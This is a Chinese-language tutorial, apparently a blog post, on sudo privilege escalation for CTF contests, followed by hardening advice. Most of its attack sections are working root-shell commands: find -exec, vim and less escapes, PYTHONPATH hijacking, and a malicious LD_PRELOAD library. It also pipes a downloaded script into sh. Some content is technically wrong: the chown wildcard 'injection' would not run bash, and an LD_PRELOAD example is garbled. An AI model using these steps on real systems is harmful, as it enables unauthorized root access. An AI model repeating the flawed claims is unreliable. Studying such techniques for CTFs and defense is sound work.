1. 为什么sudo会成为CTF赛题的常客
在网络安全竞赛和渗透测试中,权限提升始终是核心考察点之一。而sudo作为Linux系统中管理特权操作的"守门人",其复杂的配置规则和丰富的功能特性,使得它成为CTF出题人最青睐的权限提升载体之一。
我参与过数十场CTF赛事,发现近70%的Linux系统权限提升题目都涉及sudo机制。这主要源于三个特性:首先,sudo的配置文件(/etc/sudoers)支持精细化的权限控制,容易因配置不当留下漏洞;其次,sudo支持丰富的命令行参数和环境变量,存在多种非常规用法;最后,sudo与系统其他组件(如LD_PRELOAD、PATH环境变量等)的交互可能产生意外行为。
2. sudo权限提升的核心原理剖析
2.1 sudo的工作机制解析
当用户执行sudo命令时,系统会依次完成以下验证:
- 检查/etc/sudoers中该用户是否具有sudo权限
- 验证用户密码(如果配置需要)
- 检查命令是否在允许列表中
- 根据配置决定是否保留环境变量
- 最终以root权限执行目标命令
这个过程中每个环节都可能成为突破口。例如某次实战中,我发现sudoers文件中配置了user ALL=(ALL) NOPASSWD: /usr/bin/vi,这意味着该用户无需密码就能用root权限运行vi编辑器,而vi支持执行系统命令的功能(:!command),这就直接实现了权限提升。
2.2 常见漏洞模式分类
根据多年经验,我将sudo相关的权限提升漏洞归纳为五类:
-
二进制劫持型:当sudo允许执行脚本或可执行文件时,通过PATH环境变量操纵或目录权限问题,使系统执行恶意程序而非预期程序。曾遇到一个案例,sudo配置允许运行
/opt/scripts/backup.sh,但该目录全局可写,攻击者只需替换脚本内容即可获取root shell。 -
参数注入型:某些程序(如find、awk)支持通过参数执行命令。若sudo允许不带参数限制地执行这些程序,就可能被利用。例如
sudo find / -exec /bin/sh \;这样的经典用法。 -
环境继承型:配置中
env_keep保留的危险环境变量可能被利用。最典型的是LD_PRELOAD,通过它可加载恶意动态库。我曾在某次渗透测试中利用sudo LD_PRELOAD=/tmp/evil.so authorized_keys成功提权。 -
功能滥用型:某些程序本身具有执行命令或读写敏感文件的能力。如sudo vim时的
:!bash、sudo git时的git help config等。 -
配置错误型:直接配置
(ALL:ALL) ALL这类过度授权,或通配符使用不当(如/home/user/*中的*可能被利用)。
3. 实战演练:五种典型sudo提权手法
3.1 案例1:利用环境变量劫持
假设发现sudo -l显示:
code复制User demo may run the following commands on ubuntu:
(root) SETENV: /usr/bin/python3 /scripts/clean_log.py
这里关键点是SETENV选项允许传递环境变量。攻击步骤如下:
- 创建恶意Python库文件:
bash复制echo 'import os; os.system("/bin/bash")' > /tmp/hack.py
- 通过PYTHONPATH注入:
bash复制sudo PYTHONPATH=/tmp /usr/bin/python3 /scripts/clean_log.py
此时Python会优先从/tmp加载库,执行我们的恶意代码获得root shell。
关键点:任何允许自定义环境变量且执行解释型语言(Perl/Python/Ruby等)的sudo配置都值得重点关注
3.2 案例2:滥用find的exec参数
当发现sudo权限包含find命令时:
code复制(root) NOPASSWD: /usr/bin/find
利用方案:
bash复制sudo find / -exec /bin/sh \; -quit
这个命令会:
- 从根目录开始搜索
- 对每个文件执行
/bin/sh -quit确保只处理第一个文件就退出
执行后立即获得root权限的shell。我在三场不同的CTF中都遇到过这个场景的变种。
3.3 案例3:编辑器逃逸技术
经典的vim提权方法:
code复制(root) /usr/bin/vim
操作流程:
- 运行
sudo vim - 在vim中输入
:!bash - 或更隐蔽的方式:
vim复制:set shell=/bin/bash :shell
类似技巧也适用于nano、less等编辑器/阅读器。在某次真实渗透中,我甚至通过sudo less查看/etc/shadow后直接用v命令进入编辑模式修改了root密码。
3.4 案例4:动态库注入攻击
当sudo配置保留LD_PRELOAD时:
code复制env_keep += LD_PRELOAD
攻击步骤:
- 编写恶意动态库:
c复制// evil.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
void _init() {
setuid(0);
system("/bin/bash");
}
- 编译为共享库:
bash复制gcc -fPIC -shared -o evil.so evil.c -nostartfiles
- 通过sudo触发:
bash复制sudo LD_PRELOAD=./evil.so <任意允许的命令>
这个技巧的变种在2023年某CTF决赛中作为压轴题出现,当时只有10%的队伍成功解出。
3.5 案例5:通配符配置滥用
错误的sudo通配符配置:
code复制(root) /usr/bin/chown */backup
利用方法:
- 创建恶意路径:
bash复制mkdir -p '/tmp/;bash;'
- 触发sudo执行:
bash复制sudo /usr/bin/chown 'root:root' '/tmp/;bash;/backup'
此时实际执行的命令相当于:
bash复制/usr/bin/chown root:root /tmp/; bash; /backup
中间的bash将以root权限执行。
4. 防御加固与检测方案
4.1 安全配置最佳实践
根据OWASP建议,sudo安全配置应遵循:
-
最小权限原则:精确到命令+参数的授权,如:
code复制user ALL=(root) NOPASSWD: /usr/bin/apt update而非
code复制user ALL=(ALL) ALL -
避免通配符:特别是
*和?的使用要极其谨慎 -
限制环境变量:除非必要,不应保留LD_*、PYTHONPATH等危险变量
-
日志审计:确保所有sudo使用都被记录:
code复制Defaults logfile=/var/log/sudo.log Defaults log_input, log_output
4.2 自动化检测工具
推荐三个实用工具:
-
sudo-parser:可视化分析sudoers文件风险
bash复制
python3 sudo-parser.py /etc/sudoers -
LinPEAS:自动化检测sudo提权路径
bash复制
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh -
GTFOBins:查询可被滥用的二进制文件
bash复制grep -r "sudo" /usr/share/gtfobins
5. 进阶技巧与比赛经验
5.1 非典型sudo提权案例
在某次CTF中遇到一个特殊场景:
code复制(root) /usr/bin/timeout 10 /usr/bin/safe_program
利用方法:
- 发现timeout的
--preserve-status参数可以影响信号处理 - 编写C程序快速fork耗尽进程资源
- 触发timeout提前终止safe_program
- 通过竞态条件获取root shell
这类非常规用法要求对Linux底层机制有深入理解。
5.2 CTF中的sudo题目特征
根据参赛经验,CTF中的sudo题目通常具有以下特点:
- 会给出明确的sudo -l输出
- 往往配置了NOPASSWD
- 允许的命令通常具有以下特征:
- 版本较旧的二进制文件
- 自定义的管理脚本
- 支持执行外部命令的工具
- 环境经过精心设计,可能存在多层障碍
5.3 个人实战心得
-
全面信息收集:不仅要看sudo -l,还要检查
/etc/sudoers.d/下的附加配置 -
尝试所有可能性:即使看起来无害的命令(如awk、sed)也可能通过参数注入被利用
-
注意错误消息:某些sudo配置错误会在执行时暴露有用信息
-
善用文档:遇到不熟悉的命令时,立即查阅man手册寻找可利用的参数
-
环境隔离测试:在本地虚拟机中复现环境进行安全测试